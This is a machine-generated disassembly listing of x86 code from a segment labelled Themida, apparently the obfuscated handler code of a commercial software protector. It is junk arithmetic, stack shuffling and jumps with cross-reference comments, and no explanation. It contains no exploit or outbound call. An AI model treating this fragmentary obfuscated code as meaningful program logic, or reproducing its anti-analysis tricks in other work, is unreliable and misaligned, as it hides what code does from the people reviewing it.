; ---------------------------------------------------------------------------


loc_55AEF8:				; CODE XREF: Themida_:0055B618j
		and	ecx, 58BC6286h
		sub	ecx, 3D73853h
		not	ecx
		xor	ecx, 0EBD315C8h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5542A3
; ---------------------------------------------------------------------------


loc_55AF1A:				; CODE XREF: Themida_:00556BCAj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55913B
; ---------------------------------------------------------------------------


loc_55AF25:				; CODE XREF: Themida_:0055B033j
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_5550A9
; ---------------------------------------------------------------------------


loc_55AF34:				; CODE XREF: Themida_:00554ADEj
		mov	ecx, 79561BC3h
		add	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 79561BC0h
		add	ecx, 3BCA4C15h
		sub	ecx, edi
		sub	ecx, 3BCA4C15h
		pop	edi
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_55D678
; ---------------------------------------------------------------------------


loc_55AF60:				; CODE XREF: Themida_:00557B50j
		mov	ecx, 53145765h
		jmp	loc_557F08
; ---------------------------------------------------------------------------


loc_55AF6A:				; CODE XREF: Themida_:005585CFj
		mov	[eax], cl
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_551B0E
; ---------------------------------------------------------------------------


loc_55AF7A:				; CODE XREF: Themida_:0055878Cj
		xor	ebp, 418B5EBFh
		jmp	loc_55D0E1
; ---------------------------------------------------------------------------


loc_55AF85:				; CODE XREF: Themida_:00556E3Bj
		mov	eax, 68682FF4h
		mov	edi, 68682FF0h
		xor	edi, eax
		pop	eax
		jmp	loc_552203
; ---------------------------------------------------------------------------


loc_55AF97:				; CODE XREF: Themida_:0055B400j
		add	ebp, 4
		jmp	loc_557411
; ---------------------------------------------------------------------------


loc_55AFA2:				; CODE XREF: Themida_:0055D5A4j
		pop	esi
		add	esp, 4
		add	esi, 4
		jmp	loc_5570A5
; ---------------------------------------------------------------------------


loc_55AFB1:				; CODE XREF: Themida_:00552EFBj
		pop	esp
		mov	[esp], ax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55AFBB:				; CODE XREF: Themida_:00557095j
		dec	edx
		or	edx, 5EFF69B3h
		add	edx, 5F2C12BDh
		add	edx, 20D47348h
		sub	esi, 48BC35BFh
		add	esi, edx
		push	ebp
		mov	ebp, 48BC35BFh
		add	esi, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_55964C
; ---------------------------------------------------------------------------


loc_55AFEB:				; CODE XREF: Themida_:00552EECj
		mov	eax, 8741D7Ah
		add	eax, 2DBA20EDh
		jmp	loc_55B31C
; ---------------------------------------------------------------------------


loc_55AFFA:				; CODE XREF: Themida_:0055B026j
		mov	edx, 0A2A29ECBh
		sub	ecx, 3098716Bh
		add	ecx, edx
		jmp	loc_554E01
; ---------------------------------------------------------------------------


loc_55B00C:				; CODE XREF: Themida_:0055BE52j
		push	ebp
		mov	ebp, 4
		jmp	loc_555A85
; ---------------------------------------------------------------------------


loc_55B017:				; CODE XREF: Themida_:0055D3B8j
		mov	ecx, [esp]
		jmp	loc_556680
; ---------------------------------------------------------------------------


loc_55B01F:				; CODE XREF: Themida_:00558C4Fj
		or	ecx, 591D0039h
		push	edx
		jmp	loc_55AFFA
; ---------------------------------------------------------------------------


loc_55B02B:				; CODE XREF: Themida_:00556201j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55AF25
; ---------------------------------------------------------------------------


loc_55B038:				; CODE XREF: Themida_:00557E99j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_559E75
; ---------------------------------------------------------------------------


loc_55B046:				; CODE XREF: Themida_:00557D63j
		pop	edi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 2481FB6Eh
		add	eax, 29BF025Eh
		sub	eax, 608345F0h
		add	eax, edx
		add	eax, 608345F0h
		sub	eax, 29BF025Eh
		push	dword ptr [esp]
		jmp	loc_55DA6E
; ---------------------------------------------------------------------------


loc_55B074:				; CODE XREF: Themida_:00556AE0j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_551EC3
; ---------------------------------------------------------------------------


loc_55B08B:				; CODE XREF: Themida_:005520D5j
		push	esi
		mov	esi, esp
		jmp	loc_554722
; ---------------------------------------------------------------------------


loc_55B093:				; CODE XREF: Themida_:0055D0F9j
		mov	ebp, 4
		jmp	loc_552BE7
; ---------------------------------------------------------------------------


loc_55B09D:				; CODE XREF: Themida_:00558A61j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	al, 0D8h
		add	al, dh
		jmp	loc_5560A4
; ---------------------------------------------------------------------------


loc_55B0B5:				; CODE XREF: Themida_:0055DCD0j
		dec	ecx
		push	edi
		jmp	loc_559BDA
; ---------------------------------------------------------------------------


loc_55B0BC:				; CODE XREF: Themida_:00555641j
		add	esi, 207B5B64h
		pop	ebp
		jmp	loc_5558F1
; ---------------------------------------------------------------------------


loc_55B0C8:				; CODE XREF: Themida_:005570B4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 65DE1571h
		jmp	loc_5576F0
; ---------------------------------------------------------------------------


loc_55B0E2:				; CODE XREF: Themida_:0055C967j
		mov	[esp], edx
		push	ebx
		mov	bl, 76h
		mov	dh, 57h
		xor	dh, bl
		mov	ebx, [esp]
		jmp	loc_553BFC
; ---------------------------------------------------------------------------


loc_55B0F4:				; CODE XREF: Themida_:0055986Aj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 0C54FF451h
		add	esi, ebp
		pop	ebp
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_556C1C
; ---------------------------------------------------------------------------


loc_55B120:				; CODE XREF: Themida_:0055AAFAj
		or	ah, 16h
		push	ecx
		jmp	loc_5539C5
; ---------------------------------------------------------------------------


loc_55B129:				; CODE XREF: Themida_:00559A3Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_556154
; ---------------------------------------------------------------------------


loc_55B141:				; CODE XREF: Themida_:0055C5D5j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_552534
; ---------------------------------------------------------------------------


loc_55B14C:				; CODE XREF: Themida_:00556C47j
		mov	dh, 0Dh
		jmp	loc_554A22
; ---------------------------------------------------------------------------


loc_55B153:				; CODE XREF: Themida_:0055C4EDj
		push	ebx
		push	eax
		push	19E621B1h
		jmp	loc_55DB53
; ---------------------------------------------------------------------------


loc_55B15F:				; CODE XREF: Themida_:005569C5j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 5203D20h
		push	eax
		mov	eax, 169D56E8h
		xchg	eax, ebp
		jmp	loc_557F01
; ---------------------------------------------------------------------------


loc_55B184:				; CODE XREF: Themida_:005576DAj
		shl	edx, 5
		add	edx, 1232182Fh
		sub	edx, 6D359D29h
		mov	ebx, edx
		pop	edx
		sub	ebx, 332A40A0h
		sub	ebx, 62A97582h
		add	ebx, 3CDE06F1h
		add	ebx, 793F9A28h
		jmp	loc_55A8F3
; ---------------------------------------------------------------------------


loc_55B1B3:				; CODE XREF: Themida_:00554302j
		add	edi, edx
		add	edi, 4E9C4EC7h
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B1CA:				; CODE XREF: Themida_:00556783j
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		jmp	loc_55DD00
; ---------------------------------------------------------------------------


loc_55B1D8:				; CODE XREF: Themida_:0055C59Ej
		pop	esi
		jmp	loc_557DA2
; ---------------------------------------------------------------------------


loc_55B1DE:				; CODE XREF: Themida_:00558523j
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3EAD349Dh
		add	ebx, 1
		not	ebx
		jmp	loc_5561B2
; ---------------------------------------------------------------------------


loc_55B20B:				; CODE XREF: Themida_:0055CBD5j
		sub	bl, dh
		pop	edx
		jmp	loc_55823E
; ---------------------------------------------------------------------------


loc_55B213:				; CODE XREF: Themida_:0055271Ej
		push	edx
		push	ecx
		mov	ecx, 29312E27h
		mov	edx, ecx
		jmp	loc_555F8E
; ---------------------------------------------------------------------------


loc_55B221:				; CODE XREF: Themida_:0055A842j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55A8D4
; ---------------------------------------------------------------------------


loc_55B22F:				; CODE XREF: Themida_:00554568j
		inc	ch
		jmp	loc_55B894
; ---------------------------------------------------------------------------


loc_55B236:				; CODE XREF: Themida_:00557110j
		or	eax, eax
		jz	loc_5540D2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_552CE4
; ---------------------------------------------------------------------------


loc_55B260:				; CODE XREF: Themida_:00556AD4j
		pop	esi
		sub	edx, 6B51762Bh
		jmp	loc_556291
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_555153
; ---------------------------------------------------------------------------


loc_55B276:				; CODE XREF: Themida_:005541E3j
		mov	[esp], esp
		jmp	loc_559ADA
; ---------------------------------------------------------------------------


loc_55B27E:				; CODE XREF: Themida_:0055AB03j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	23B754F0h
		pop	esi
		not	esi
		jmp	loc_55AB13
; ---------------------------------------------------------------------------


loc_55B2B2:				; CODE XREF: Themida_:0055BA8Fj
		xor	[esp+4], ebp
		pop	ebp
		pop	esi
		jmp	loc_55CE98
; ---------------------------------------------------------------------------


loc_55B2BD:				; CODE XREF: Themida_:0055D7CBj
		push	78D4604Bh
		jmp	loc_5548D7
; ---------------------------------------------------------------------------


loc_55B2C7:				; CODE XREF: Themida_:0055C8B7j
		sub	al, ch
		jmp	loc_5518FE
; ---------------------------------------------------------------------------


loc_55B2CE:				; CODE XREF: Themida_:005521C3j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551997
; ---------------------------------------------------------------------------


loc_55B2E6:				; CODE XREF: Themida_:0055A7E1j
		shr	ebp, 8
		not	ebp
		xor	ebp, 0BFAB0E46h
		add	eax, ebp
		pop	ebp
		sub	eax, 4C21409h
		add	eax, edi
		jmp	loc_55BDDA
; ---------------------------------------------------------------------------


loc_55B300:				; CODE XREF: Themida_:00558DF7j
		mov	esi, 95210CFh
		sub	esi, 0FFFFFFFFh
		or	esi, 89F04C5h
		add	esi, 0F620EB2Fh
		add	edx, esi
		pop	esi
		jmp	loc_5554AF
; ---------------------------------------------------------------------------


loc_55B31C:				; CODE XREF: Themida_:0055AFF5j
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		inc	edi
		push	edi
		dec	dword ptr [esp]
		pop	edi
		xor	edi, 79B75412h
		shl	edi, 7
		jmp	loc_553542
; ---------------------------------------------------------------------------


loc_55B338:				; CODE XREF: Themida_:00559C60j
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_555FC2
; ---------------------------------------------------------------------------


loc_55B344:				; CODE XREF: Themida_:00554EA7j
		push	ebx
		mov	ebx, 239A0E3Dh
		sub	ebx, 12BD9C5Bh
		xor	edx, ebx
		jmp	loc_55BBB9
; ---------------------------------------------------------------------------


loc_55B357:				; CODE XREF: Themida_:00555FBDj
		mov	eax, 609437D0h
		jmp	loc_551DBC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	4D29h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55511F
; ---------------------------------------------------------------------------


loc_55B38D:				; CODE XREF: Themida_:0055785Dj
		push	eax
		jmp	loc_55DCAC
; ---------------------------------------------------------------------------


loc_55B393:				; CODE XREF: Themida_:00552261j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557022
; ---------------------------------------------------------------------------


loc_55B3A1:				; CODE XREF: Themida_:00558989j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B3A6:				; CODE XREF: Themida_:0055D6F0j
		mov	esp, [esp]
		shr	ecx, 7
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 333E74E0h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_55C6B3
; ---------------------------------------------------------------------------


loc_55B3E0:				; CODE XREF: Themida_:00554004j
		mov	ebp, 6200936h
		add	ebp, 27F45E0h
		inc	ebp
		push	ecx
		mov	ecx, 89F4F16h
		jmp	loc_5579A6
; ---------------------------------------------------------------------------


loc_55B3F7:				; CODE XREF: Themida_:00554572j
		mov	esi, ebx
		pop	ebx
		add	[esp+4], esi
		pop	esi
		pop	ebp
		jmp	loc_55AF97
; ---------------------------------------------------------------------------


loc_55B405:				; CODE XREF: Themida_:0055DB6Dj
		shl	esi, 2
		neg	esi
		add	esi, 0B3D95C38h
		and	eax, esi
		jmp	loc_557862
; ---------------------------------------------------------------------------


loc_55B417:				; CODE XREF: Themida_:005530FCj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_558006
; ---------------------------------------------------------------------------


loc_55B42B:				; CODE XREF: Themida_:00555DAAj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_554945
; ---------------------------------------------------------------------------


loc_55B436:				; CODE XREF: Themida_:00554119j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55BEAD
; ---------------------------------------------------------------------------


loc_55B44F:				; CODE XREF: Themida_:0055D3D4j
		not	ah
		inc	ah
		sub	ah, 3Ch
		jmp	loc_55C991
; ---------------------------------------------------------------------------


loc_55B45B:				; CODE XREF: Themida_:00559CD4j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	6ECF1497h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558CB3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_55468C
; ---------------------------------------------------------------------------


loc_55B488:				; CODE XREF: Themida_:005543A8j
		sub	ecx, 0E54300Ah
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_556189
; ---------------------------------------------------------------------------


loc_55B497:				; CODE XREF: Themida_:0055D799j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B4A8:				; CODE XREF: Themida_:00554204j
		push	eax
		mov	al, 0C3h
		add	al, 0F1h
		add	bl, al
		pop	eax
		push	ecx
		mov	cl, 69h
		add	cl, 34h
		not	cl
		sub	cl, 11h
		neg	cl
		neg	cl
		add	cl, 1Fh
		add	bl, cl
		pop	ecx
		push	ecx
		push	edx
		jmp	loc_558B9E
; ---------------------------------------------------------------------------


loc_55B4CC:				; CODE XREF: Themida_:0055AB9Fj
		inc	byte ptr [esp]
		pushf
		jmp	loc_55DADB
; ---------------------------------------------------------------------------


loc_55B4D5:				; CODE XREF: Themida_:0055B645j
		sub	esi, ecx
		pop	ecx
		add	esi, eax
		add	esi, 70033F9Fh
		jmp	loc_558DA6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 12685624h, 0E9000015h, 0FFFFCDECh
; ---------------------------------------------------------------------------


loc_55B4F4:				; CODE XREF: Themida_:00559824j
		sub	dh, 0D3h
		mov	al, dh
		pop	edx
		xor	bl, al
		jmp	loc_55CE58
; ---------------------------------------------------------------------------


loc_55B501:				; CODE XREF: Themida_:00551D34j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B50F:				; CODE XREF: Themida_:0055BC0Fj
		push	5Bh
		jmp	loc_55AC6A
; ---------------------------------------------------------------------------


loc_55B519:				; CODE XREF: Themida_:005533CAj
		pop	esp
		mov	[esp], ax
		jmp	loc_552A99
; ---------------------------------------------------------------------------


loc_55B523:				; CODE XREF: Themida_:00551B88j
		add	al, 0ACh
		jmp	loc_557DD2
; ---------------------------------------------------------------------------


loc_55B52A:				; CODE XREF: Themida_:00557E1Dj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B52F:				; CODE XREF: Themida_:00552F58j
		xor	ebx, eax
		pop	eax
		push	edx
		push	23E8h
		mov	[esp], ebx
		mov	ebx, 26E77B17h
		mov	edx, 5540BF39h
		sub	edx, ebx
		pop	ebx
		xor	edx, 29FD00A3h
		dec	edx
		xor	edx, 0AC3B706Ch
		add	ebx, edx
		pop	edx
		jmp	loc_554189
; ---------------------------------------------------------------------------


loc_55B55D:				; CODE XREF: Themida_:0055418Cj
		add	edx, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2A7D684Fh
		push	edi
		push	esi
		jmp	loc_558CC9
; ---------------------------------------------------------------------------


loc_55B574:				; CODE XREF: Themida_:00557129j
		xor	[edi+24h], edx
		inc	edx
		jmp	loc_5533BB
; ---------------------------------------------------------------------------


loc_55B57D:				; CODE XREF: Themida_:00559BDFj
		inc	edi
		jmp	loc_55760B
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 19E621B1h
		add	eax, ebx
		jmp	loc_5550F4
; ---------------------------------------------------------------------------


loc_55B591:				; CODE XREF: Themida_:005539C0j
		add	[esp+4], edi
		pop	edi
		pop	esi
		jmp	loc_55A0AE
; ---------------------------------------------------------------------------


loc_55B59C:				; CODE XREF: Themida_:00555F9Aj
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 5EB45AE8h
		shr	edi, 5
		add	edi, 5D574DF3h
		or	edi, 7E33DD6h
		or	edi, 6FF35D7Bh
		xor	edi, 6C3C0DBCh
		add	edi, 0FC3C0FC1h
		jmp	loc_55342F
; ---------------------------------------------------------------------------


loc_55B5D1:				; CODE XREF: Themida_:00555D70j
		add	ax, si
		pop	si
		pop	cx
		push	small 360Ah
		mov	[esp], cx
		jmp	loc_55DAB1
; ---------------------------------------------------------------------------


loc_55B5E5:				; CODE XREF: Themida_:0055ADD5j
		push	18B6h
		jmp	loc_55D412
; ---------------------------------------------------------------------------


loc_55B5EF:				; CODE XREF: Themida_:0055C2F7j
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_55434D
; ---------------------------------------------------------------------------


loc_55B5FA:				; CODE XREF: Themida_:00557E02j
		sub	al, 55h
		add	al, ch
		add	al, 55h
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 3C88654Fh
		shr	ecx, 1
		jmp	loc_55AEF8
; ---------------------------------------------------------------------------


loc_55B61D:				; CODE XREF: Themida_:00559403j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55D985
; ---------------------------------------------------------------------------


loc_55B631:				; CODE XREF: Themida_:0055BACDj
		pop	ecx
		push	795h
		mov	[esp], esi
		jmp	loc_55A0EE
; ---------------------------------------------------------------------------


loc_55B63F:				; CODE XREF: Themida_:0055D266j
		add	ecx, 29000905h
		jmp	loc_55B4D5
; ---------------------------------------------------------------------------


loc_55B64A:				; CODE XREF: Themida_:00555CA6j
		pop	ebx
		and	edi, 1B1719B8h
		jmp	loc_552872
; ---------------------------------------------------------------------------


loc_55B656:				; CODE XREF: Themida_:00556D33j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_5571C3
; ---------------------------------------------------------------------------


loc_55B665:				; CODE XREF: Themida_:00556FDCj
		sub	edi, edx
		pop	edx
		jmp	loc_5583AB
; ---------------------------------------------------------------------------


loc_55B66D:				; CODE XREF: Themida_:0055C75Cj
		sub	eax, 461B0EE7h
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_552923
; ---------------------------------------------------------------------------


loc_55B682:				; CODE XREF: Themida_:0055CBECj
		push	esp
		jmp	loc_5546D8
; ---------------------------------------------------------------------------


loc_55B688:				; CODE XREF: Themida_:0055BBB4j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 2
		add	edi, 40DA04E9h
		add	edi, ebx
		sub	edi, 40DA04E9h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_55CACE
; ---------------------------------------------------------------------------


loc_55B6CE:				; CODE XREF: Themida_:0055C3AEj
		mov	ah, 0E5h
		sub	cl, ah
		pop	ax
		sub	cl, 62h
		jmp	loc_552789
; ---------------------------------------------------------------------------


loc_55B6DC:				; CODE XREF: Themida_:00551F8Aj
		add	ebp, 4
		jmp	loc_557FDC
; ---------------------------------------------------------------------------


loc_55B6E4:				; CODE XREF: Themida_:00558E4Bj
		neg	esi
		and	esi, 5DAE66CEh
		add	esi, 0F7F9DB80h
		sub	eax, 41395C8Dh
		add	eax, esi
		add	eax, 41395C8Dh
		pop	esi
		push	ecx
		jmp	loc_553965
; ---------------------------------------------------------------------------


loc_55B705:				; CODE XREF: Themida_:00559419j
		pop	edx
		jmp	loc_55CDBF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_557FF5
; ---------------------------------------------------------------------------


loc_55B724:				; CODE XREF: Themida_:00559270j
		mov	edi, 4
		sub	edx, 5DDA23E1h
		add	edx, edi
		jmp	loc_5575C0
; ---------------------------------------------------------------------------


loc_55B736:				; CODE XREF: Themida_:005533ACj
		and	dh, 64h
		shl	dh, 4
		sub	dh, 0FCh
		add	al, 53h
		add	al, dh
		push	bx
		mov	bh, 53h
		sub	al, bh
		pop	bx
		pop	edx
		sub	al, bl
		jmp	loc_559A51
; ---------------------------------------------------------------------------


loc_55B753:				; CODE XREF: Themida_:00551B09j
		mov	[esp], esp
		jmp	loc_552D08
; ---------------------------------------------------------------------------


loc_55B75B:				; CODE XREF: Themida_:00552B2Ej
		pop	eax
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_55D00C
; ---------------------------------------------------------------------------


loc_55B76C:				; CODE XREF: Themida_:00553E96j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55B7CF
; ---------------------------------------------------------------------------


loc_55B77C:				; CODE XREF: Themida_:0055D87Bj
		push	45F5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_559A98
; ---------------------------------------------------------------------------


loc_55B79B:				; CODE XREF: Themida_:0055C4DFj
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_554018
; ---------------------------------------------------------------------------


loc_55B7A5:				; CODE XREF: Themida_:00551D6Ej
		add	eax, ecx
		pop	ecx
		push	ecx
		push	edx
		jmp	loc_55B993
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_55443B
; ---------------------------------------------------------------------------


loc_55B7BD:				; CODE XREF: Themida_:00551977j
		mov	esp, [esp]
		jmp	loc_5558D8
; ---------------------------------------------------------------------------


loc_55B7C5:				; CODE XREF: Themida_:005538DFj
		mov	ebp, 0BD3EA9F6h
		jmp	loc_553C75
; ---------------------------------------------------------------------------


loc_55B7CF:				; CODE XREF: Themida_:0055B777j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_55D6F5
; ---------------------------------------------------------------------------


loc_55B7E0:				; CODE XREF: Themida_:0055B8EFj
		push	3DE8h
		mov	[esp], esi
		push	4337h
		jmp	loc_55C26C
; ---------------------------------------------------------------------------


loc_55B7F2:				; CODE XREF: Themida_:005562DFj
		add	ecx, edx
		add	ecx, 4DCD6CC2h
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_5584C2
; ---------------------------------------------------------------------------


loc_55B807:				; CODE XREF: Themida_:00557ECBj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_55AB93
; ---------------------------------------------------------------------------


loc_55B822:				; CODE XREF: Themida_:00553796j
		push	2166h
		mov	[esp], edx
		jmp	loc_557D3D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	12D7h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, 1EDF0E94h
		sub	ebp, edx
		add	ebp, 1EDF0E94h
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 3C133C5Ah
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5570F5
; ---------------------------------------------------------------------------


loc_55B86E:				; CODE XREF: Themida_:00558F50j
		sub	[esp+2], dh
		pop	dx
		sub	[esp], dl
		add	byte ptr [esp],	9
		mov	dl, [esp]
		add	esp, 2
		push	eax
		jmp	loc_553D6B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	75F9h
		jmp	loc_55DD61
; ---------------------------------------------------------------------------


loc_55B894:				; CODE XREF: Themida_:0055B231j
		shr	ch, 6
		shl	ch, 5
		neg	ch
		jmp	loc_55595C
; ---------------------------------------------------------------------------


loc_55B8A1:				; CODE XREF: Themida_:00559998j
		shr	ecx, 4
		jmp	loc_556994
; ---------------------------------------------------------------------------


loc_55B8A9:				; CODE XREF: Themida_:0055BCF5j
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_555795
; ---------------------------------------------------------------------------


loc_55B8B2:				; CODE XREF: Themida_:0055CB57j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55B8C3:				; CODE XREF: Themida_:0055DC88j
		xor	edi, eax
		pop	eax
		push	edx
		mov	edx, 5F147458h
		add	edx, 0ACF802CAh
		and	edi, edx
		pop	edx
		jmp	loc_558F42
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 492939h
		jmp	loc_554C0E
; ---------------------------------------------------------------------------


loc_55B8ED:				; CODE XREF: Themida_:0055D8D6j
		mov	edi, esp
		jmp	loc_55B7E0
; ---------------------------------------------------------------------------


loc_55B8F4:				; CODE XREF: Themida_:0055C3D3j
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_55AA08
; ---------------------------------------------------------------------------


loc_55B8FF:				; CODE XREF: Themida_:00552F6Fj
		add	esp, 4
		jmp	loc_5525EA
; ---------------------------------------------------------------------------


loc_55B90A:				; CODE XREF: Themida_:0055DC47j
		mov	[esp], ecx
		push	eax
		mov	al, bh
		mov	ch, al
		pop	eax
		not	ch
		mov	bh, ch
		pop	ecx
		neg	bh
		shl	bh, 3
		push	edx
		mov	dl, 3Ah
		shr	dl, 1
		push	eax
		mov	al, 0C6h
		or	al, 63h
		jmp	loc_55BD8C
; ---------------------------------------------------------------------------


loc_55B92C:				; CODE XREF: Themida_:00559E57j
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_559513
; ---------------------------------------------------------------------------


loc_55B957:				; CODE XREF: Themida_:005582F8j
		sub	ebx, 3824034Ch
		add	ebx, 2B3D6551h
		sub	ebx, 61DE35BBh
		sub	ebx, 4CA39A0h
		add	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5599FD
; ---------------------------------------------------------------------------


loc_55B98A:				; CODE XREF: Themida_:00556803j
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_55BFB2
; ---------------------------------------------------------------------------


loc_55B993:				; CODE XREF: Themida_:0055B7AAj
		mov	edx, 46831725h
		mov	ecx, edx
		pop	edx
		add	eax, ecx
